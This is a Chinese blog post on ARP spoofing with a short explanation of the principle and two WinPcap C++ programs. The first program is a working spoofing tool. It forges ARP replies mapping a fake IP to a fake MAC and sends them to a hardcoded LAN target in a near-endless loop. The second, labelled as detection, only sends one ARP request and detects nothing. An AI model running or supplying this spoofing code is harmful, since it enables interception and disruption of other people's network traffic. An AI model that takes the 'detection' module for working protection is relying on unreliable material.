ARP欺骗/检测 C++源程序

ARP欺骗/检测 C++源程序

  • 基于 WinPcap 的编程环境下实现
    • 原理
    • 欺骗(gongji)模块源码
    • 检测模块源码

基于 WinPcap 的编程环境下实现

winpcap(windows packet capture) 是windows平台下一个免费,公共的网络访问系统。开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。它用于windows系统下的直接的网络编程。选用它是为了快速的实现ARP欺骗及防御功能,因为winpcap 提供的demo里面有获取可用网卡列表代码,发送一些报文的代码等非常实用的已经实现好的模块。

原理

欺骗主要是通过发送伪造的ARP报文给目标主机,把目标主机的ARP缓存列表更新成错误的IP-MAC映射。

如果你想深入了解的话需要了解一下几段:

ARP欺骗/检测 C++源程序_第1张图片

ARP帧是封装到一个MAC帧通过广播发送到局域网的。ARP镇的格式需要大家了解一下,ARP报文主要分两种。一种是ARP请求,另一种是ARP应答。
欺骗是无缘无故的给人家发送ARP帧,帧的内容用来欺骗的IP-MAP映射。

欺骗(gongji)模块源码

#include "pcap.h"
#include "stdio.h"

#pragma comment(lib,"ws2_32.lib")

#define ETH_ARP         0x0806  //以太网帧类型表示后面数据的类型,对于ARP请求或应答来说,该字段的值为x0806
#define ARP_HARDWARE    1  //硬件类型字段值为表示以太网地址
#define ETH_IP          0x0800  //协议类型字段表示要映射的协议地址类型值为x0800表示IP地址
#define ARP_REQUEST     1   //ARP请求
#define ARP_RESPONSE       2      //ARP应答

//14字节以太网首部
struct EthernetHeader
{
	unsigned char DestMAC[6];    //目的MAC地址 6字节
	//unsigned char DestMAC[] = ;    //目的MAC地址 6字节
	unsigned char SourMAC[6];   //源MAC地址 6字节
	unsigned short EthType;         //上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp  2字节
};

//28字节ARP帧结构
struct ArpHeader
{
	unsigned short hdType;   //硬件类型
	unsigned short proType;   //协议类型
	unsigned char hdSize;   //硬件地址长度
	unsigned char proSize;   //协议地址长度
	unsigned short op;   //操作类型,ARP请求(1),ARP应答(2),RARP请求(3),RARP应答(4)。
	unsigned char smac[6];   //源MAC地址
	unsigned char sip[4];   //源IP地址
	unsigned char dmac[6];   //目的MAC地址
	unsigned char dip[4];   //目的IP地址
};

//定义整个arp报文包,总长度42字节
typedef struct EthernetHeader EthernetHeader;
typedef struct ArpHeader ArpHeader;
struct ArpPacket {
	EthernetHeader ed;
	ArpHeader ah;
};


int main()
{
	pcap_if_t *alldevs;   //所有网络适配器
	pcap_if_t *d;   //选中的网络适配器 
	int inum;   //选择网络适配器
	int i = 0;   //for循环变量
	pcap_t *adhandle;   //打开网络适配器,捕捉实例,是pcap_open返回的对象
	char errbuf[PCAP_ERRBUF_SIZE];   //错误缓冲区,大小为256
	
									 /* 获取本机设备列表 */
	if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
	{
		fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
		exit(1);
	}

	/* 打印列表 */
	for (d = alldevs; d; d = d->next)
	{
		printf("%d. %s", ++i, d->name);
		if (d->description)
			printf(" (%s)\n", d->description);
		else
			printf(" (No description available)\n");
	}

	if (i == 0)
	{
		printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
		return -1;
	}

	printf("Enter the interface number (1-%d):", i);
	scanf("%d", &inum);

	if (inum < 1 || inum > i)
	{
		printf("\nInterface number out of range.\n");
		/* 释放设备列表 */
		pcap_freealldevs(alldevs);
		return -1;
	}

	/* 跳转到选中的适配器 */
	for (d = alldevs, i = 0; i< inum - 1; d = d->next, i++);

	/* 打开设备 */
	if ((adhandle = pcap_open(d->name,          // 设备名
		65536,            // 65535保证能捕获到不同数据链路层上的每个数据包的全部内容
		PCAP_OPENFLAG_PROMISCUOUS,    // 混杂模式
		1000,             // 读取超时时间
		NULL,             // 远程机器验证
		errbuf            // 错误缓冲池
	)) == NULL)
	{
		fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
		/* 释放设备列表 */
		pcap_freealldevs(alldevs);
		return -1;
	}

	/*以上代码在WinPcap开发文档中都可以找到,填充ARP包的代码则要自己编写*/

	//开始填充ARP包,填充数据写死在代码中,测试用时数据可随意填写
	unsigned char sendbuf[42]; //arp包结构大小,42个字节
	//unsigned char mac[6] = { 0x00,0x11,0x22,0x33,0x44,0x55 };
	//unsigned char mac[6] = { 0x12,0x34,0x56,0x78,0x9a,0xff };
	unsigned char mac_broadcast[6]	 = { 0xff,0xff,0xff,0xff,0xff,0xff };
	unsigned char mac_local[6]		 = { 0x12,0x34,0x56,0x78,0x9a,0xff };
	unsigned char mac_dest[6] = { 0x7c,0xdd,0x90,0xff,0xcb,0x17 };
	//unsigned char mac_dest[6] = { 0x28,0xc2,0xdd,0x35,0x78,0x47 };
	//unsigned char mac_dest[6] = { 0x34,0x68,0x95,0x91,0x70,0xd7 };
	//0C-4B-54-91-D1-6E 192.168.1.1
	//unsigned char mac_dest[6] = { 0x0C,0x4B,0x54,0x91,0xD1,0x6E };
	unsigned char mac_fake[6]		 = { 0xAA,0xBB,0xCC,0xDD,0xEE,0xFF };

	unsigned char ip_loacal[4]		 = { 192,168,1,105 };
	//unsigned char ip_dest[4] = { 192,168,1,100 };
	unsigned char ip_dest[4] = { 192,168,1,117 };
	unsigned char ip_fake[4]		 = { 192,168,1,108 };

	




	//unsigned char mac[6] = { 0x15,0x95,0x84,0x91,0x98,0x00 };

	//unsigned char mac2[6] = { 0x15,0x95,0x84,0x91,0x98,0x00 };
	//unsigned char ip[4] = { 0x01,0x02,0x03,0x04 };
	//unsigned char ip[4] = { 192,168,1,103 };

	EthernetHeader eh;
	ArpHeader ah;
	//赋值MAC地址
	
	//memset(eh.DestMAC, 0xff, 6);   //以太网首部目的MAC地址,全为广播地址

	for (int i = 0; i < 6; i++)
	{
		eh.DestMAC[i] = mac_dest[i];
		eh.SourMAC[i] = mac_local[i];

		ah.dmac[i] = mac_dest[i];
		ah.smac[i] = mac_fake[i];
		//ah.smac[i] = mac_local[i];
		
		if (i < 4)
		{
			ah.dip[i] = ip_dest[i];
			ah.sip[i] = ip_fake[i];
			//ah.sip[i] = ip_loacal[i];
		}
	}
	eh.EthType = htons(ETH_ARP);   //htons:将主机的无符号短整形数转换成网络字节顺序
	ah.hdType = htons(ARP_HARDWARE);
	ah.proType = htons(ETH_IP);
	ah.hdSize = 6;
	ah.proSize = 4;
	//ah.op = htons(ARP_REQUEST);
	ah.op = htons(ARP_RESPONSE);

	//memcpy(eh.SourMAC, mac, 6);   //以太网首部源MAC地址
	//memcpy(ah.smac, mac2, 6);   //ARP字段源MAC地址
	//memset(ah.dmac, 0xff, 6);   //ARP字段目的MAC地址
	//for (int i = 0; i < 6; i++)
	//{
	//	//ah.dmac[i] = mac[i];
	//	ah.smac[i] = mac2[i];
	//}
	//memcpy(ah.sip, ip, 4);   //ARP字段源IP地址
	//memset(ah.dip, 0x05, 4);   //ARP字段目的IP地址
	//ah.dip[0] = 192; ah.dip[1] = 168; ah.dip[2] = 1; ah.dip[3] = 100;
	//ah.sip[0] = 192; ah.sip[1] = 168; ah.sip[2] = 1; ah.sip[3] = 105;
	

	//printf();
	//构造一个ARP请求
	for (int _i = 0; _i < 10e10; _i++)
	{
		memset(sendbuf, 0, sizeof(sendbuf));   //ARP清零
		memcpy(sendbuf, &eh, sizeof(eh));
		memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah));

		

		//如果发送成功

		if (pcap_sendpacket(adhandle, sendbuf, 42) == 0) {
			printf("\nPacketSend succeed\n");
		}
		else {
			printf("PacketSendPacket in getmine Error: %d\n", GetLastError());
		}
	}

	/* 释放设备列表 */
	pcap_freealldevs(alldevs);

	return 0;
}

检测模块源码

#include "stdafx.h"

#include 

#define ETH_ARP         0x0806  //以太网帧类型表示后面数据的类型,对于ARP请求或应答来说,该字段的值为x0806
#define ARP_HARDWARE    1  //硬件类型字段值为表示以太网地址
#define ETH_IP          0x0800  //协议类型字段表示要映射的协议地址类型值为x0800表示IP地址
#define ARP_REQUEST     1   //ARP请求
#define ARP_RESPONSE       2      //ARP应答

//14字节以太网首部
struct EthernetHeader
{
	u_char DestMAC[6];    //目的MAC地址 6字节
	u_char SourMAC[6];   //源MAC地址 6字节
	u_short EthType;         //上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp  2字节
};

//28字节ARP帧结构
struct ArpHeader
{
	unsigned short hdType;   //硬件类型
	unsigned short proType;   //协议类型
	unsigned char hdSize;   //硬件地址长度
	unsigned char proSize;   //协议地址长度
	unsigned short op;   //操作类型,ARP请求(1),ARP应答(2),RARP请求(3),RARP应答(4)。
	u_char smac[6];   //源MAC地址
	u_char sip[4];   //源IP地址
	u_char dmac[6];   //目的MAC地址
	u_char dip[4];   //目的IP地址
};

//定义整个arp报文包,总长度42字节
struct ArpPacket {
	EthernetHeader ed;
	ArpHeader ah;
};


int main()
{
	pcap_if_t *alldevs;   //所有网络适配器
	pcap_if_t *d;   //选中的网络适配器 
	int inum;   //选择网络适配器
	int i = 0;   //for循环变量
	pcap_t *adhandle;   //打开网络适配器,捕捉实例,是pcap_open返回的对象
	char errbuf[PCAP_ERRBUF_SIZE];   //错误缓冲区,大小为256

									 /* 获取本机设备列表 */
	if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
	{
		fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
		exit(1);
	}

	/* 打印列表 */
	for (d = alldevs; d; d = d->next)
	{
		printf("%d. %s", ++i, d->name);
		if (d->description)
			printf(" (%s)\n", d->description);
		else
			printf(" (No description available)\n");
	}

	if (i == 0)
	{
		printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
		return -1;
	}

	printf("Enter the interface number (1-%d):", i);
	scanf("%d", &inum);

	if (inum < 1 || inum > i)
	{
		printf("\nInterface number out of range.\n");
		/* 释放设备列表 */
		pcap_freealldevs(alldevs);
		return -1;
	}

	/* 跳转到选中的适配器 */
	for (d = alldevs, i = 0; i< inum - 1; d = d->next, i++);

	/* 打开设备 */
	if ((adhandle = pcap_open(d->name,          // 设备名
		65536,            // 65535保证能捕获到不同数据链路层上的每个数据包的全部内容
		PCAP_OPENFLAG_PROMISCUOUS,    // 混杂模式
		1000,             // 读取超时时间
		NULL,             // 远程机器验证
		errbuf            // 错误缓冲池
	)) == NULL)
	{
		fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
		/* 释放设备列表 */
		pcap_freealldevs(alldevs);
		return -1;
	}

	/*以上代码在WinPcap开发文档中都可以找到,填充ARP包的代码则要自己编写*/

	//开始填充ARP包,填充数据写死在代码中,测试用时数据可随意填写
	unsigned char sendbuf[42]; //arp包结构大小,42个字节
	unsigned char mac[6] = { 0x00,0x11,0x22,0x33,0x44,0x55 };
	unsigned char ip[4] = { 0x01,0x02,0x03,0x04 };
	EthernetHeader eh;
	ArpHeader ah;
	//赋值MAC地址
	memset(eh.DestMAC, 0xff, 6);   //以太网首部目的MAC地址,全为广播地址
	memcpy(eh.SourMAC, mac, 6);   //以太网首部源MAC地址
	memcpy(ah.smac, mac, 6);   //ARP字段源MAC地址
	memset(ah.dmac, 0xff, 6);   //ARP字段目的MAC地址
	memcpy(ah.sip, ip, 4);   //ARP字段源IP地址
	memset(ah.dip, 0x05, 4);   //ARP字段目的IP地址
	eh.EthType = htons(ETH_ARP);   //htons:将主机的无符号短整形数转换成网络字节顺序
	ah.hdType = htons(ARP_HARDWARE);
	ah.proType = htons(ETH_IP);
	ah.hdSize = 6;
	ah.proSize = 4;
	ah.op = htons(ARP_REQUEST);

	//构造一个ARP请求
	memset(sendbuf, 0, sizeof(sendbuf));   //ARP清零
	memcpy(sendbuf, &eh, sizeof(eh));
	memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah));
	//如果发送成功
	if (pcap_sendpacket(adhandle, sendbuf, 42) == 0) {
		printf("\nPacketSend succeed\n");
	}
	else {
		printf("PacketSendPacket in getmine Error: %d\n", GetLastError());
	}

	/* 释放设备列表 */
	pcap_freealldevs(alldevs);

	return 0;
}

尊重版权是一种美德? by nrxsh

你可能感兴趣的:(信息安全,计算机网络)